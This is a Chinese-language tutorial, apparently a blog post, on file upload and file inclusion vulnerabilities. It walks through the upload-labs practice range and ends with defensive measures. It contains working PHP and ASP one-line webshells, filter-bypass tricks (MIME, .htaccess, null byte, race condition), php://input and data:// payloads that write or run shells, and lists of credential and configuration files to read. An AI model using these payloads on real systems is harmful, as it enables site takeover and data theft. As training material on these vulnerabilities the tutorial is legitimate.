文章目录
任意文件操作
一、任意文件上传
常见文件上传点
大部分的网站和应用系统都有上传功能,如用户头像上传,图片上传,文档上传等
概念
任意文件上传漏洞:
由于对上传文件未作过滤和过滤机制不严(文件后缀或类型),导致恶意用户可以上传脚本文件,通过上传文件可以到达控制网站权限的目的
危害:
- 攻击者可以获得网站控制权限
- 查看、修改、删除网站数据
- 通过提权漏洞可获得主机权限
webshell:
一种网页后门,以asp、php、jsp等网页文件形式存在的以后再命令执行环境
tips–weshell
什么是webshell?
Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称为一种网页后门。hacker子啊入侵一个网站后,通常会将asp或pho后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
概念
- 利用文件上传漏洞,通过服务端提交一句简单代码,配合本地客户端实现webshell功能
示例
- <%eval request(“cmd”)%>
- eval函数用于执行客户端命令
- request()接收客户提交的数据
- cmd 为客户端提交命令的参数值
特性
- 变形多,易隐藏、难发现
所需条件
满足这三个条件,攻击者就能够成功入侵
- 木马上传成功,未被杀;
- 知道木马的路径在哪;
- 上传的木马能正常运行(解析);
上传流程
一般一个文件上传过程中的检测如下图所示
简单说明:
- 用户选择要上传的文件;
- 客户端将文件分片并发送到服务器;
- 服务器接收文件片段后,将其存储在临时文件中;
- 所有文件片段传输完毕后,服务器将临时文件合并一个完整的文件;
- 服务器将文件保存到指定位置。
任意文件上传–GETSHELL
直接上传
部分网站带有文件上传功能,如果这个功能不做过滤,则能够上传任意文件至服务器。利用这个功能上传木马至服务器,则能够控制对应的服务器
木马上传成功或返回包一般返回上传木马的路径和文件名。若上传的是一句话木马,用蚁剑或者菜刀就可以控制服务器。
二、上传绕过–这里以upload靶场为例子
1.绕过JS验证
upload 第一关
方法1:Burpsuite剔除响应JS
对于JS前端验证,直接删除掉JS代码之后,就可以绕过JS验证。
方法2:浏览器审计攻击剔除JS
利用浏览器的审查工具剔除JS之后,保存为新文件然后进行文件上传。
方法3:使用浏览器的禁用JavaScript功能
最后上传Webshell,菜刀连接
2.绕过MIME-Type验证
介绍
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类,当该扩展名文件被访问的时候,浏览器会自动使用知道应用程序来打开。多用于知道一些客户端自定义的文件名,以及一些媒体文件打开方式。
验证MIME-Type代码分析
upload第二关
查看源码分析 使用$_FILE[‘upload_file’][‘type’]获取上传文件的MIME-Type类型。其中upload_file是在表单中定义的。
检测原理
服务端MIME类型检测时通过检测http包的Context-Type字段中的值来判断上传文件是否合法的。部分网站上传功能只对文件类型做了判断,抓包修改文件类型可绕过限制。若只允许上传图片,则文件类型可为image/jpeg,image/png等。
绕过技巧:可以先成功上传一个案例,观察服务器允许的mime的类型,然后再抓包修改测试
Burpsuite绕过MIME-Type验证
利用Burpsuite工具截断HTTP请求,再Repeater重放修改MIME-Type类型绕过验证。image/jpeg
上传Webshell,菜刀连接
技巧:获取上传Weshell的地址,右键图片属性,虚拟终端介绍
3.绕过黑名单验证
3.1 文件后缀名验证
基于文件后缀名验证介绍
对于文件上传模块来说,尽量避免上传可执行的脚本。为了防止上传脚本需要设置对于的验证方式。最简单的就是设置文件后缀名验证。
基于文件后缀名验证方式的分类:
- 基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
- 基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
前提准备:
使用老板小皮,修改Apache的httpd-conf文件
基于黑名单验证代码分析
upload-第三关
对于黑名单中的后缀名筛选。绕过黑名单可以通过寻找“漏网之鱼”,寻找某些可以被作为脚本执行同时也不在黑名单中。
Burpsuite绕过黑名单验证
利用Burpsuite工具截断HTTP请求,利用intruder模板进行枚举后缀名,寻找黑名单没有过滤的后缀名。
上传Webshell,菜刀连接
一句话木马:php <?php @eval($_POST['pass']);?>
3.2 .htaccess文件
.htaccess文件介绍
.htaccess文件时Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特点的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言diamond规范,就会被当作PHP执行。不符合则报错。
//.htaccess文件内容--作用:设置使用php解析任意文件
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
配置文件http.conf
在Apache中如果需要启动 .htaccess,必须在http.conf中设置AllowOverride
审计黑名单过滤代码
upload-第四关
在黑名单中,没有对.htaccess进行过滤,可以直接上传.htaccess来设置使用php解析任意文件。 文件内容: SetHandler application/x-httpd-php
制作图片phpinfo探针并上传
<?php phpinfo();?>
使用文本编辑工具写入php代码:保存为1.jpg进行上传即可。
具体说明
解法:先上传后缀名为‘.htaccess’文件,文件内容如下,让后在上传1.jpg文件,文件内容为一句话木马,图片文件内容会解析为php语句,之后访问该图片即可。
3.3 大小写绕过
大小写绕过原理
Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和TesT.php就是不一样的。
基于黑名单验证的代码分析
upload-第6关
可以清晰的看出,黑名单中增加了.htaccess的验证,但是缺少了对上传文件名获取的小写转换。
直接修改后缀名PhP上传文件
文件后缀名不一定必须在Burpsuite截断的HTTP请求中修改,可以直接修改我呢见后缀名进行上传
3.4 空格绕过
原理
Windows系统下,对于文件名中空格被作为空处理,程序中的检测代码却不能字段删除空格。从而绕过
针对这样的情况需要使用Burpsuite截断HTTP请求之后,修改对应的文件名并添加空格。
代码分析
uplaod-第7关
经过代码分析可以看到代码中没有对上传文件的文件名做去空格处理。存在添加空格绕过黑名单问题。
Burpsuite 绕过黑名单验证
利用Burpsuite工具截断HTTP请求,对上传的文件名加空格。
3.5 .号绕过
原理
Windows系统下,文件后缀名最后一个点会被自动去除。
例如:
Windows下新建一个1.php文件,查看。
代码分析
upload-第8关
查看代码分析其中缺少去除文件名最后边点的处理,可以利用Windows系统特性,绕过黑名单。
Burpsuite 绕过黑名单验证
利用Burpsuite工具截断HTTP请求,上传文件加 . 绕过上传。
3.6 特殊符号绕过
原理
Windows系统下如果上传的文件名中test.php::$
DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容形态,并被解析
例如:
在Windows系统下新建一个文件名为1.php::$DATA的文件,查看效果。但是在Window下新建的文件名中包含特殊符号不能成功新建。
基于黑名单模糊测试
分析以下代码,发现没有黑名单过滤没有过滤掉::$DATA
直接上传xxx.php::$DATA
3.7 路径拼接绕过
原理
在没有对上传的文件进行重命名的情况下,用户可以自定义并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:
用户新建 1.php.+空格+.
delete删除最后一个点之后,不再进行删除,trim删除空格,那么最终上传的文件名1.php,利用Window自动去除最后一个点,导致成功上传1.php。
代码分析
upload-第10关
对代码进行分析,可得上传后的文件没有经过随机化重命名,直接保存在服务器上。
修改文件名 绕过黑名单验证
3.8 双写绕过
原理:
代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所有造成双写绕过。
例如:
1.phphpp
代码分析
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
该函数必须遵循下列规则:
- 如果搜索的字符串是一个数组,那么它将返回一个数组
- 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
- 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
- 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的只起作用
注释:该函数不区分大小写。请使用str_replace()函数来执行区分大小写的搜索
注释:该函数时二进制安全的。
绕过黑名单验证
直接将php文件后缀名修改为pphphp
4.绕过白名单验证
00截断原理
0x00时十六进制表示方法,是ASCII码为0的字符,在有些函数处理时,会把这个字符当做结束符。
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
在PHP5.3之后的版本中完全修复了00截断。并且00截断受限于GPC,addslashes函数。
GET型00截断
GET型替换的内会把自动进行URL解码
注意:一定要关闭GPC,否则无法成功。
upload-第12关
说明:url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断burpsuite中16进制编辑器将空格20改成了00。
需要条件:php版本小于5.3,且GPC关闭,这是因为当 magic_quotes_gpc 打开时,所有的 ’ (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。
POST型00截断
在POST请求中,%00不会被自动解码,需要在16进制中进行修改00
在POST请求中,抓包
修改POST请求包
upload-第13关
解法:第12关做法相同 只不过上传路径在$_POST数据中 不需要url编码,这里说一个小技巧 不需要修改hex值那么麻烦 只要在burp里面输入%00 然后进行url解码即可 得到就是0x00
三、进阶上传绕过
1. 图片webshell
图片Webshell制作
在服务端的PHP代码中,对于用户上传的文件作文件类型检测,查看文件格式是否符合上传规范。可以检查文件二进制格式的前几个字节,从而判断文件类型是否正确。
针对这种情况可以直接新建要给1.jpg,其中代码内容如下
<?php phpinfo(); ?>
GIF98Acopy 1.jpg/b+2.php/a 3.jpg
上传图片Webshell文件
将制作好的图片Webshell上传到服务器
其中可能Content-Type验证。修改为image/jpg 符合当前文件类型的MIME
文件包含漏洞代码分析
在PHP中,使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,无论文件的名称是什么,只要复合物文件内容符合PHP代码规范,都会被当作PHP代码执行。
<?php
if($_GET){
include($_GET[“file”])
}
else{
echo “not get args file”;
}
?>
找到include.php的文件路径
构造路径访问我们的上传的shell.php
例如:
http://192.168.21.1/upload-labs/include.php?file=./upload/5920200804094742.gif
利用存在文件包含的PHP页面,包含上传的图片Webshell,从而触发Webshell,输出对应的phpinfo
靶场实战
图片马+文件包含–upload的第14~16关,由于流程一样,因此这里将以14关为例子。
说明:通过将一句话包含到图片文件中,上传图片马到目标站点下,通过文件包含漏洞执行php代码
2.竞争条件
文件上传过程
原理介绍
网站逻辑:
- 网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除文件。
- 网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
例如:上传文件代码如下:
<?php fputs(fopen('xxx.php','w'),'<?phpinfo();?>');?>
代码分析
先进行删除,后进行判断于删除。利用时间差进行webshell上传
竞争条件文件上传利用
提前不断访问代码文件,然后上传,最终使用菜刀连接一句话Webshell
# Python发送的http请求
import requests
while true:
requests get("路径")
实战
upload-第18、19关,由于操作步骤差别不大,这里以18关为例
说明:
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
效果:上传就被删除
思路:
知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
这里设置暴破次数
PS:第19关解法——通过代码审计可见对文件检查后重命名文件,因此可以在程序来不及rename时通过竞争条件上传shell
3.二次渲染
原理:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
绕过方法:
配合文件包含漏洞:
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
实战
upload第17关
注意:这里还要使用工具——Editor16进制编辑器
解法:通过找到渲染后的图片里面没有发生的Hex地方,添加一句话,通过文件包含漏洞执行一句话,再通过蚁剑进行连接
渲染图与原图的Hex对比:白色为相同部分,即可修改片段
使用原图副本加一句话生成图片马,将图片马中的一句话木马数据对原图副本中白色部分进行替换,最后将其上传。
上传成功
服务器解析漏洞(做个了解)
概念
解析漏洞主要是一些特殊文件被Apache、IIS、Nginx等Web服务器在某种情况下解释成加班文件格式并得以执行而产生的漏洞
Apache解析漏洞
CVE-2017-15715
影响范围:2.4.0~2.4.29版本
此漏洞形成的根本原因,在于$
,正则表达式中$
不仅匹配字符串结尾位置,也可以匹配\n或\r 在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略,上传test.php。抓包 修改 php 后面的点(2e)为 换行(0a)
访问test.php%0a
AddHandler
Apache默认一个文件可以有多个后缀名,每次识别从右到左识别,当最右边的后缀无法识别,则继续向左识别。mime.types中记录apache可识别的后缀名。
添加AddHandler,使得任何文件只要包含.php后缀名的文件都将被当作php文件解析为例使php文件可以被解析用户自己添加了AddHandler:“AddHandler application/x-httpd-php.php”
IIS6解析漏洞
基于文件名:该版本默认会将*.asp;.jsp此种格式的文件名,当成asp解析。原理是服务器默认不解析;号及其后面的内容相当于截断
基于文件夹名,该版本默认会将*.asp/目录下的所有文件当成asp解析
当在网站下建立文件夹的名字为*.asp
、*.asa
、*.cer
、*.cdx
的文件夹,那么其目录内的任何扩展名的文件都会被IIS当1做asp文件来解释并执行。
IIS7解析漏洞
nginx解析漏洞
nginx查看url,得到.php结尾,将路径传递给pho fastcgi处理程序,nighx传递给php的路径为
php根据url映射,在服务器寻找xxx.php文件,但是xxx.php文件不存在,由于cgi.fix_pathinfo是默认开启,php会继续检查 路径存在的文件,并将多余部分当作PATH_INFO,接着找到文件存在.jpg文件后,以后php形式执行.jpg内容,并将/xxx.php存储在PATH_INFO后丢弃
php的选项:cgi.fix_pathinfo默认开启,值为1,用于修理路径当前php遇到文件路径/info.jpg/xxx.php/qwe.xyz时,若/info.jpg/xxx.php/qwe.xyz不存在,则会去掉最后的qwe.xyz 然后判断/info.jpg/xxx.php是否存在,若存在则将/info.jpg/xxx.php当作文件 /info.jpg/xxx.php/qwe.xyz,若不存在 则继续取消xxx.php,以此类推修复方法,配置cgi.flx_pathinfo(php.ini中)为0、禁止上传目录的脚本权限、库站分离、高版本设置security.limit_extersions = .php
Nginx如下版本:
0.5.*
,0.6.*
, 0.7 <= 0.7.65, 0.8 <= 0.8.37 该漏洞不受cgi.fix_pathinfo影响,当其为0时,依旧解析。 更新版本 在网站主目录下创建一个图片格式文件
使用burp抓包,访问info.jpg,修改为info.jpg…php , 在16进行模式下,修改jpg后面的.,为00
Nginx %00空字节执行php漏洞
文件包含
概念
开发人员通常会把重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。
为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的php代码,并且当PHP来执行,这会为开发者节省大量的时间
// upload 中 的文件包含代码
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
// 此句作用防止写入程序出现乱码
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
// isset 用于判断$file变量是否传入值--简单来说就是判断$file是否为空
if(isset($file)){
include $file;//include会将$file里面的内容作为代码执行
}else{
show_source(__file__);
}
?>
举个例子:定义一个1.php代码如下,另外一个2.php文件代码如下,当访问1.php时结果为123456
// 1.php
<?php
include './2.php';
echo 456;
?>
//2.php
<?php echo 123;?>
原理
文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当作php文件执行,如果我呢见内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任务文件读取与任意命令执行。
不安全设置
<?php
$filename = $_GET['cmd'];
include($filename);
?>
/*
可以看见上面的代码,对$_GET['cmd']参数没有经过严格的过滤,直接待人了include()函数,攻击者可以修改$_GET['cmd']的值,加载其它文件,执行非预期的操作,由此造成了文件包含漏洞;
*/
PS:所需条件
- included等函数通过动态变量的方式引入需要包含的文件
- 用户能够控制该动态变量
- 被包含的文件可被访问
文件包含分类
文件包含分为两种:
本地文件包含:包含本地主机上的文件(WEB服务器),文件名称是相对路径或者绝对路径
远程文件包含:包含互联网上的文件,文件名称为URL格式
而区分而两者简单的办法就是通过查看php.ini中是否开启了allow_url_include.如果开启了就有可能包含远程文件。
与文件包含相关的配置文件:(php.ini文件)
- allow_url_fopen = on (默认开启)# 允许打开URL文件,本地文件包含(LFI),但这个无论On或Off,本地文件包含都存在
- allow_url_include = off (默认关闭) # 允许引用URL文件,远程文件包含(RFI)
与文件包含有关的函数:
- include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
- include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
- require():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
- require_once():功能与require()相同,区别在于当重复带哦有同一文件时,程序只调用一次
文件包含特征
?page = a.php
?home = b.html
?file=content
检测方法
?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgl
?page=http://192.168.189.78/1.txt
http://1.1.1.1/…/…/…/dir/file.txt
本地文件包含
在同一路径下创建1.php文件<?php echo "hello world!!!"; ?>打印hello world!!, 在浏览器下进行访问此文件,发现文件成功执行
<?php
if(isset($_GET['page'])){
include $_GET['page'];
echo "<h1 style='color:red'> This is include</h1>";
include $_GET['page'];
}else{
print "please input page";
}
?>
本地文件包含利用
- 读取Windows系统敏感信息:
C:\boot.ini//查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml//IS配置文件
C:\windows\repair\sam//windows初次安装的密码
C:\programFiles\mysq|\my.ini//Mysq|配置信息
C:\programFiles\mysq|\data\mysq|\user.MYD//MysqlrC:\boot.ini //查看系统版本- 读取linux系统敏感信息:
/etc/passwd//linux用户信息
/usr/local/app/apache2/conf/httpd.conf//apache2配置文件/usr/local/app/php5/lib/php.ini//php配置文件
/etc/httpd/conf/httpd.conf//apache配置文件
/etc/my.cnf//Mysq|配置文件- 文件包含可以配合图片马进行shell获取
问题:远程包含可以用来执行命令的;那么本地文件包含怎么执行命令?
- 包含用户上传的文件
- 包含日志文件
- 伪协议
伪协议
说明:PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
除了这些封装协议,还能通过stream_wrapper_register()来主持自定义的封装协议
- file:// ——访问本地文件系统
- http:// ——访问HTTP(s)网址
- ftp:// ——访问FTP(s)URLs
- php://——访问各个输入/输出流(I/O streams)
- zlib://——压缩流
- data://——数据(RFC 2397)
- glob://——查找匹配的文件路径模式
- phar://——PHP归档
- ssh2://——Secure shell 2
- rar://——RAR
- ogg://——音频流
- expect://——处理交换式的流
各协议的利用条件和方法
协议 | 测试PHP版本 | allow_url_fopen | allow_url_include | 用法 |
---|---|---|---|---|
file:// | >=5.2 | off/on | off/on | ?file=file://D"/soft/phpStudy/WW/phpcode.txt |
php://filter | >=5.2 | off/on | off/on | ?file=php://filter/read=conver.base64-encode/resource=./index.php |
php://input | >=5.2 | off/on | on | ?file=php://input 【POST DATA】<?php phpinfo();?> |
zip:// | >=5.2 | off/on | off/on | ?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt |
compress.bzip2:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2【or】?file=compress.bzip2://./file.bz2 |
cpmpress.zlib:/ | >=5.2 | off/on | off/on | ?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz【or】?file=compress.zlib://./file.gz |
data:// | >=5.2 | on | on | ?file=data://text/plain,<?php phpinfo()?>【or】?fiile=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=也可以:?file=data:text/plain,<?php phpinfo()?>【or】?file=data.text/plain:base64,PD9waHAgcGhwaW5mbygpPz4= |
php://input
php://input 可以访问请求的原始数据的只读流,将post请求的数据作为当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype="multipart/form-data"时,php://input是无效的。
file://
用于访问本地文件系统。当指定了一个相对路径(不以/、\或Windows盘符开头的路径)提供的路径将基于当前的工作目录。
用法:
1. file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E: \phpStudy\PHPTutorial\WWW\phpinfo.txt
2. [文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
http://、https://
URL形式、允许通过HTTP1.0的GET方法,以只读访问文件或资源,通常用于远程包含。
用法:
【http://网络路径和文件】
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://
php:// 用于访问各个输入、输出流(I/O streams),经常使用的是php://inpuit用于执行php代码。
协议 作用 php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipartt/form-data"的时候php://input是无效的 php://output 只写的数据流,允许以print和echo一样的方式写入到输出缓冲区。 php://fd (>=5.3.6)允许直接访问指定的文件描述。例如 php://fd/3 引用了文件描述符3。 php://memory、php://temp (>=5.1,.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是php://memory总是把数据存储在内存中,而 php://temp会在内存量到达预定义的限制后(默认是2MB)存入临时文件中。临时文件位置的决定和sys_get_temp_dir()的方式一致。 php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容读取周期没有集合应用其它过滤器。
php://filter 参数详解
参数 描述 resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。 read=<读链的过滤器> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|) 分隔 write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 <;两个链的过滤> 任何没有以read=或write= 作前缀的筛选器列表会视情况用于读或写链。
可用的过滤器列表(4类)
字符串过滤器 作用 string.rot13 等同于str_rot13(),rot13变换 string.toupper 等同于strtoupper(),转大写字母 string.tolower 等同于strtolower(),转小写字母 string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用 convert.base64-encode&convert.base64-decode 等同于base64_encode()和base64_decode(),base64编码解码 convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable字符串与8-bit字符串编码解码
压缩过滤器 作用 zlib.deflate & zlib.inflat 在本地文件系统中创建gzip兼容文件的方法,但不产生命令行工具如gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分 bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建bz2兼容文件的方法。
加密过滤器 作用 mcrypt.* libmcrypt 对称加密算法 mdecrypt.* libmcrypt 对称解密算法
读取文件源码用法
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
执行php代码用法
php://input+[POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo();?>
写入一句话木马用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>');?>
phar://、zip://、bzip2://、zlib://
用于读取压缩文件,zip://、bzip2://、zlib://均属于压缩流,可用访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg、png、gif、xxx等等。
用法示例:
phar://http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.php
data://
数据流封装器,以传递相应格式的数据。通常可用用来执行PHP代码。
示例用法:
- data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>- data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
防护措施
-
包含文件的参数过滤
① 文件名过滤:白名单或者黑名单过滤
② 不使用动态变量进行包含操作,设置字典等静态处理
③ 文件名后缀固定 -
路径限制
① 目录限制,在用户提交的变量前增加固定的路径,限制用户可调用的目的范围
② 目录回退符过滤,避免回退符生效导致路径变化 -
中间件的安全配置
①PHP版本小于5.4在php.ini中设置magic_quotes_gpc=on(5.4 以后被放弃用)
magic_quotes_gpc设置是否自动为GPC(get,post,cookie)传来的数据中的’"\加上反斜线 ②限制访问区域: php.ini 中设置 open_basedir 来限制用户访问文件的活动范围等;
apache 也有相关配置
③设置访问权限:限制当前中间件所在用户的访问权限,例如; web 服务器独立用户,并且 只拥有访问目录和使用中间件的权限,从而有效避免越权访问其他文件; -
搭建RASP阻止代码注执行
总结
对上传做个分类的话,如下:
轻量级检测绕过
a. 绕过前端JavaScript检测:使用Burp抓包改包
b. 绕过服务器端MIME类型检测:使用Burp抓包改包。路径/文件扩展名检测绕过
a.黑名单检测方式:
文件名大小写绕过;
名单列表绕过;
特殊文件名绕过;
0x00截断绕过;
.htaccess文件攻击;
本地文件包含漏洞;
Apache解析漏洞;
IIS解析漏洞;
Nginx解析漏洞;
b.白名单检测方式:
0x00截断绕过;
本地文件包含漏洞;
Apache解析漏洞;
IIS解析漏洞;
Nginx解析漏洞;文件内容检测方式
对文件进行恶意代码注入,再配合解析漏洞(或文件包含漏洞)。
最后说明一下,本篇文章对于web的文件上传漏洞,做了一系列的说明,后续的话可以通过khbc、sdcms、bees、xhcms等靶场来练手